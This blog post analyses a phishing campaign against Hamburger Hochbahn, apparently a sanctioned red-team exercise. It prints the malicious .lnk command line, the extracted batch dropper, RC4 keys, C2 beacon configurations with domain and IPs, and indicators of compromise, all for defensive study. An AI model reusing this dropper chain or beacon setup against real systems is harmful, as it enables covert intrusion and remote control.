hamburger hochbahn initial access campaign

Important Update

After this blog post went online, and because I had already submitted a report to CERT-Bund (at that time I was still unsure whether this was a red-team exercise or a legitimate attack attempt), I was contacted by an employee of Hamburger Hochbahn. During a friendly conversation, I was informed that this was in fact a planned and coordinated campaign. My offer to take the blog post offline until the campaign had concluded was welcomed. Therefore, here is the re-release on 31 December 2025, following the initial publication on 31 October 2025. Disclosure: As a thank-you, I received some nice Hochbahn merchandise.

Clicking the .lnk

This Tweet from MalwareHunterTeam led me to a sample (SHA256: 1ADC4E56702591A0E4BC913F243A0FA6055F7A7CB3F8EEADF3117B6D2A295885) that initially seemed interesting, as it appeared to be targeting a German audience. It is a ZIP archive containing only one file: Datenschutz_Update_2025_2.pdf.lnk (SHA256: 4E3B44AA448B9AB4618E10C342E64AACD50359370C94493884DC7EFC74F8C129), which does not have the Hidden attribute set. As a result of these attributes, in the default configuration (file extensions hidden, hidden files not shown) only the .lnk file is visible to the potential victim who opens this archive.

Get-ChildItem -Force | Select-Object Name, Attributes

Name                                             Attributes
----                                             ----------
CACHE.DAT                                   Hidden, Archive
CACHE.DAT.BAK                               Hidden, Archive
counter32.node                              Hidden, Archive
Datenschutz_Erklaerung.pdf        ReadOnly, Hidden, Archive
Datenschutz_Update_2025_2.pdf.lnk                   Archive
IconCache.bat                               Hidden, Archive

This shortcut is not a simple reference to a PDF file for viewing. Instead, the absolute path points to C:\Windows\System32\conhost.exe and it also includes the arguments --headless %cOmSPec% /c cd %temp% && for /f %f in ('dir Datenschutz_Update_2025_2.* /S /B') do findstr /b /r ".confirmedline" %f > %localappdata%\icon_update.bat && forfiles /p %LOCALAPPDATA% /m icon_update. /c "cmd /c @PATH" This is a classic tactic to cause the user to execute something they did not realize they were executing. Scripts and follow-up binaries can be launched without the user noticing. Concretely, these parameters cause the following:

  • %cOmSPec% /c starts the Windows command shell (via conhost.exe) and the --headless parameter hides the child process window.
  • cd %temp% && for /f %f in ('dir Datenschutz_Update_2025_2.* /S /B') do changes to the current user’s AppData\Local\Temp directory and iterates over all files that begin with Datenschutz_Update_2025_2.
  • findstr /b /r ".*confirmedline" %f > %localappdata%\icon_update.bat searches each of those files for lines ending with confirmedline and writes each matching line into a new file named icon_update.bat in %LOCALAPPDATA%.
  • forfiles /p %LOCALAPPDATA% /m icon_update.* /c "cmd /c @PATH" then executes every file in %LOCALAPPDATA% whose name starts with icon_update.

Unfortunately, the .lnk file itself also reveals no useful information - both the system name and the MAC address (which was likely chosen arbitrarily and at random) point to a VM rather than an actual leak from the attacker:

Machine ID:  windows11
MAC Address: 08:00:27:13:32:fb
MAC Vendor:  PCS SYSTEMTECHNIK
Creation:    2025-10-07 18:40:41

Executing icon_update.bat

Only a single file matches the searched filename pattern: the .lnk file itself. This is a polyglot file, because after extracting the additional lines that end with confirmedline you get a valid batch script:

:: Unzip the file &:: confirmedline
mkdir %LOCALAPPDATA%\IconCache &:: confirmedline
tar -xf %USERPROFILE%\Downloads\Datenschutz_Update_2025_2.zip -C %LOCALAPPDATA%\IconCache &:: confirmedline
move "%LOCALAPPDATA%\IconCache\Datenschutz_Erklaerung.pdf" "%TEMP%\Datenschutz_Erklaerung.pdf" &:: confirmedline
start "" "%TEMP%\Datenschutz_Erklaerung.pdf" &:: confirmedline
cd "%LOCALAPPDATA%\IconCache" &:: confirmedline
start "" conhost.exe --headless "%LOCALAPPDATA%\IconCache\IconCache.bat" & :: confirmedline
timeout /t 40 & :: confirmedline
move CACHE.DAT CACHE1.DAT & :: confirmedline
move CACHE.DAT.BAK CACHE.DAT & :: confirmedline
start "" conhost.exe --headless "%LOCALAPPDATA%\IconCache\IconCache.bat" & :: confirmedline
timeout /t 40 & :: confirmedline
move CACHE.DAT CACHE.DAT.BAK & :: confirmedline
move CACHE1.DAT CACHE.DAT & :: confirmedline

This script (if you ignore the comments appended with :: confirmedline) performs multiple actions: It first extracts the entire ZIP archive, including the previously mentioned but so far unused files, into %LOCALAPPDATA%\IconCache and moves the real PDF file to %TEMP%\Datenschutz_Erklaerung.pdf. Next, it opens this PDF file with the default PDF viewer and displays it to the user as expected. This serves as a distraction: after clicking the .lnk file, the user ultimately sees a PDF with valid content that matches the file name. It is the actual 25-page privacy policy of the Hamburger Hochbahn.

Besides this, the script performs something more sinister in the background, unseen by the user. It changes to the previously created directory and then launches another script from the original ZIP file, IconCache.bat, again via conhost.exe with the --headless parameter. This IconCache.bat is a one-liner that, in turn, executes counter32.node (an exectuable, SHA256: 95F23A544ED85999734F3BDF5D0369D23F981740841CBDE91B8D73F7948AEC2B which is also included in the archive) via msiexec. Afterwards, it waits 40 seconds, renames the file previously called CACHE.DAT to CACHE1.DAT, and replaces it with the file that was previously CACHE.DAT.BAK, renaming it to CACHE.DAT. Then the IconCache.bat script is executed again, waits another 40 seconds, and finally (pointlessly) reverts the filename changes.

Decrypting CACHE.DAT

The previously mentioned counter32.node binary is highly suspicious. Although it is signed, the certificate has expired and is known to be a legitimate code-signing certificate from NVIDIA - a certificate that was stolen in an attack made public on 28 February 2022. It can be identified by the thumbprint 30632EA310114105969D0BDA28FDCE267104754F and has since been used by various criminal actors, including Iranian state-sponsored actors.

$sig = Get-AuthenticodeSignature ".\counter32.node";
"Signer: $($sig.SignerCertificate.Subject)";
"Thumbprint: $($sig.SignerCertificate.Thumbprint)";
"NotBefore: $($sig.SignerCertificate.NotBefore)";
"NotAfter: $($sig.SignerCertificate.NotAfter)"

Signer: CN=NVIDIA Corporation, O=NVIDIA Corporation, L=SANTA CLARA, S=California, C=US
Thumbprint: 30632EA310114105969D0BDA28FDCE267104754F
NotBefore: 07/28/2015 02:00:00
NotAfter: 07/27/2018 01:59:59

An analysis of this binary quickly reveals its actual purpose: the file itself is not intrinsically malicious. It serves a single function: decrypting, loading and executing additional executables that are hidden inside the previously mentioned CACHE.DAT files. To do this it uses a trivial API-hashing routine to stealthily import various functions, including SystemFunction032 from Cryptsp.dll, a known interface that can be used to apply RC4 encryption.

ReadFile("CACHE.DAT",&local_10,&local_18);
local_38 = 0x316e643064323930;
local_30 = 0x62676c446e3064;
uStack_29 = 0x6e643170;
ObfuscatedRC4Call(&local_38,local_10,0x13,local_18 & 0xffffffff);

For this, a hardcoded key in hex is used: 1nd0d290bglDn0dnd1p. Since the previous script executes this binary twice, and the CACHE.DAT file changes in between, both hidden files are decrypted and executed with a 40-second interval. Both decrypted files that are loaded one after the other share the same structure: each is both a Rust-written reflective_loader.dll and, at offset 3200, a beacon.dll which is loaded and executed.

Reflective loader

The loader uses API hashing to dynamically resolve Windows API functions. The hashing algorithm (djb2 with uppercase, seed 0x539 and 32 bit overflow) used is trivial to recreate, and therefore the functions sought by the reflective_loader.dll binary in kernel32.dll can be reconstructed statically. The argument arg1 passed to the loader’s run() method is the PE binary that is subsequently written into memory and executed using the obfuscated functions.

def calculate_hash(data):
    result_hash = 1337
    for c in data.upper():
        result_hash = result_hash * 33 + ord(c)
        result_hash &= 0xFFFFFFFF
    return result_hash

# Matches found:
#  0x760cd851 -> FlushInstructionCache 
#  0x9275fcf3 -> GetProcAddress        
#  0xe5bd0e0f -> LoadLibraryA          
#  0x34c9fe32 -> Sleep                 
#  0x3831a08b -> VirtualAlloc          
#  0x9bfd8b41 -> VirtualProtect        

First beacon with outlook config

The two versions (from .DAT and .DAT.BAK) differ at first glance only by their respective configurations, which are embedded in the binary in .toml format.

transport_size = 3145728
sleep = 60
jitter = 30
connection_info = "1.AUEBOYFWJn57g0-PeqZsLbgC9HiO7B_kvK9KqxtUUcw4cmRBAZtBAQ.AgABAwEAAABlMNzVhAPUTrARzfQjWPtKAwDs_wUA9P8L1bBdZPzBBnV46TeM6eZpp31VFCaY1l9lInZBQLPpBolNazkhb6jw-bRw2K6mLyETsr6zVbZqtglklFM9PC-drYDI8ClRiCQ0CCB1ELgFTsy7I4Kvkzq1boRFAZMsy902qkpGcHggvNxTo12CAl-_fbZ91qDxDu6z1nPEH2asDqNqLaMlO7fDF6R5B-fQyqt89d9qezDLmdgD0BIVhN3GxAH_L82mAW95VOr3wwV5eB7yS5zwGtpVu6t3GRMO9paD7GB9S2HwYzXVteljZxK3KGh2xDfB_VFpk9u69XRgikE7JUlrs7ZoSuPnwKmm0odqN6yf1Fdibg8wnFk59W2B9IUOJadDtLqA5xS9BtwBQlhw8MqztI3Q-EcUDHCX-45WWZpX6avNG3Av-UAwS4Hxl-5i4A_HMJ6f9zNXFq4vrRClFNhhuEO7zIoDDZzA6Qo_x0kbWDFwraXF7yjBCaRW6LLDk2GlB5fhuEuMV33cpZUwFPQJLmAfQRl6wIK2bSzar2wuN-B9af4hR1KyXZM-h3Ar_7jB8FMVLaZBDDtfkaKvKnytd2gzvFYWWGjNH8uHho2ib5YgrbqIshv8qtk3IY9-srXdiYo0PHEZ-_59E6dhXPwsvEkCKV15_iZbDLrpq9xqpO6ynuXmkGeX45FkJ1wlM3mzNZ2BGVGtKYDgSaZ06wotlPr0j-BgfTkbMTUcNZihB2Tb7US6vcaecfrUsIpGXMmUdXYhjBeAdFXmGsr0pAKhA64"
message_encoding = "base64"
message_length_prefix = false

[outlook_beacon_config]
attachment_filename = "music.wav"

This first beacon is notable for containing an outlook_beacon_config block and for holding a Microsoft refresh token as its connection_info. This likely implements functionality similar to what is described in this repo by boku7. Using the token, the beacon attempts to connect to a Microsoft tenant and communicate via the mailbox Drafts folder, working with attachments named music.wav. A check of the token to look for any further communication returned nothing at the time of this report - the response indicates the token was likely already revoked:
AADSTS50173: The provided grant has expired due to it being revoked, a fresh auth token is needed. The user might have changed or reset their password. The grant was issued on '2025-10-17T15:17:01.1225346Z' and the TokensValidFrom date (before which tokens are not valid) for this user is '2025-10-30T10:07:36.0000000Z'. Trace ID: cc4d5c4a-fdcb-4986-a39b-1fbfd5fa7d00 Correlation ID: b660ca58-cadc-4f53-915c-5c669082cead Timestamp: 2025-10-31 19:57:24Z

Second beacon with dns config

The second beacon features a rather classic dns_beacon_config block to establish a connection over DNS, using well-known variable names from other Malleable C2 configuration. It also includes a connection_info entry that provides an additional hint pointing to the Hamburger Hochbahn: cdn.hamburgerhb-konzern.de - a dedicated domain bearing the companys name so it blends into regular traffic.

transport_size = 8192
sleep = 60
jitter = 30
connection_info = "cdn.hamburgerhb-konzern.de"
message_encoding = "base32"
message_length_prefix = false

[dns_beacon_config]
max_transport_size = 8192
dns_metadata = "130.162.214.241"
dns_idle = "20.79.104.216"
dns_commands = "23.20.160.5"
dns_v6_metadata_response = "2600:1f01:4874:0010:0250:56ff:febd:e6ac"
dns_max_qname_length = 253
dns_max_label_length = 63

In this case the check also returned no results: the DNS record was resolved the day before to the configured IP (according to VirusTotal), but that IP has no known history or publicly documented open ports or additional payloads.

Further analysis of the beacon itself also reveals a number of Beacon commands are defined that match known C2 functionality.

struct variant BeaconCommand::BeaconExit
struct variant BeaconCommand::BeaconSleep
struct variant BeaconCommand::Download
struct variant BeaconCommand::LoadBof
struct variant BeaconCommand::PivotAdd
struct variant BeaconCommand::PivotData
struct variant BeaconCommand::PivotRemove
struct variant BeaconCommand::RportfwdData
struct variant BeaconCommand::RportfwdStart
struct variant BeaconCommand::RportfwdStop
struct variant BeaconCommand::RportfwdStopSession
struct variant BeaconCommand::Shell
struct variant BeaconCommand::SocksData
struct variant BeaconCommand::SocksStop
struct variant BeaconCommand::UploadData

IoCs

Datenschutz_Update_2025_2.zip1ADC4E56702591A0E4BC913F243A0FA6055F7A7CB3F8EEADF3117B6D2A295885
Datenschutz_Update_2025_2.pdf.lnk4E3B44AA448B9AB4618E10C342E64AACD50359370C94493884DC7EFC74F8C129
IconCache.bat1C2E4910BB98A084198B0726BC64D88CAF4C3D8414D7B51B32CA91660A4D4AB4
counter32.node95F23A544ED85999734F3BDF5D0369D23F981740841CBDE91B8D73F7948AEC2B
CACHE.DAT17D98067FFACC9DAB85606BE2A1C68E05B71B77DAD974079F15609590CB4663B
CACHE.DAT.BAKC0C4BE879CAC78F1179FD3CFA44E466C657BE4EC29BEF96B1E7204983E8F0C43
CACHE.DAT_reflective_loader.dll19080CB556B34BC17696D63EF54582D2D46976D09775965AA8E499234B87150D
CACHE.DAT_beacon.dll149709BB4C016D8EE873602D5BA4D79FA2B7A8F88B1D12D097F05FBB3243ABC2
CACHE.DAT.BAK_reflective_loader.dllF6A1AF825E290EC6C2A3EEA1F611FBED4E46BE9F2F1867379C67347A71EACDCD
CACHE.DAT.BAK_beacon.dllA22D7AE38B11A436FAE8702519988038655D80ABEC04F250C93FDBCE10C0FC1A
Laufauf_Menu.pdf.lnk8D1C351EDB64734428AA1E93F25F2D59C4C5EF4F51DF72511A6838C4C984182B
Laufauf_Menu.pdf.lnk8D1C351EDB64734428AA1E93F25F2D59C4C5EF4F51DF72511A6838C4C984182B
tmp.bat63517CA7B73C52ACAD77A90C377B06FCD0F8B69431BF4CB4FAA2D9279F3778FD
win32.datAC36868F1A4BA7E2DE37A2951BBFCEF46F107B3ADD5B471D5261530F7FE52E20
NTUSER.DAT17D98067FFACC9DAB85606BE2A1C68E05B71B77DAD974079F15609590CB4663B
NTUSER.DAT.BAKC0C4BE879CAC78F1179FD3CFA44E466C657BE4EC29BEF96B1E7204983E8F0C43
leaked signing cert30632EA310114105969D0BDA28FDCE267104754F
connection_infocdn.hamburgerhb-konzern.de
dns_metadata130.162.214.241
dns_idle20.79.104.216
dns_commands23.20.160.5
dns_v6_metadata_response2600:1f01:4874:0010:0250:56ff:febd:e6ac

Update with second sample

(added IoCs above)

Thanks to bongoknight I received another sample associated with the same campaign. A second archive, Laufauf_Menu.zip (SHA256: E5AAD9CECCAFB483366B37B9A89615A791B5062C529FED8795E6A2ADCA936BA9), contains a very similar set of files:

7z.exe l .\Laufauf_Menu.zip 

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-10-27 14:02:02 .....      7436616      7436616  win32.dat
2025-10-27 14:00:24 .....       979023       979023  NTUSER.DAT.BAK
2025-10-27 14:00:24 .....      1041999      1041999  NTUSER.DAT
2025-10-27 14:16:50 .....           89           89  tmp.bat
2025-10-29 09:44:36 .....         2087         2087  Laufauf_Menu.pdf.lnk
2025-10-29 09:38:52 .....        30090        30090  Laufauf_Menu_neu.pdf
------------------- ----- ------------ ------------  ------------------------
2025-10-29 09:44:36            9489904      9489904  6 files

The workflow and interaction are exactly the same as before: the .lnk points to conhost, again searches for itself, and extracts lines ending with confirmedline into a batch script at %localappdata%\aad.bat, which is then executed. This scripts flow is identical to the previously mentioned icon_update.bat; only the filenames differ: the executable here is win32.dat and the two encrypted files used to spawn the reflective loader and the beacons are NTUSER.DAT and NTUSER.DAT.BAK. Decryption again uses RC4, this time with the key 092d0dn1d0nDlgbp1dn. The decrypted beacon.dll binaries are the same as before with the previously observed hash and configuration. The lure in this case is a straightforward copy of the menu from Laufauf, a restaurant in Hamburg - again explicitly including a header that references the Hamburger Hochbahn.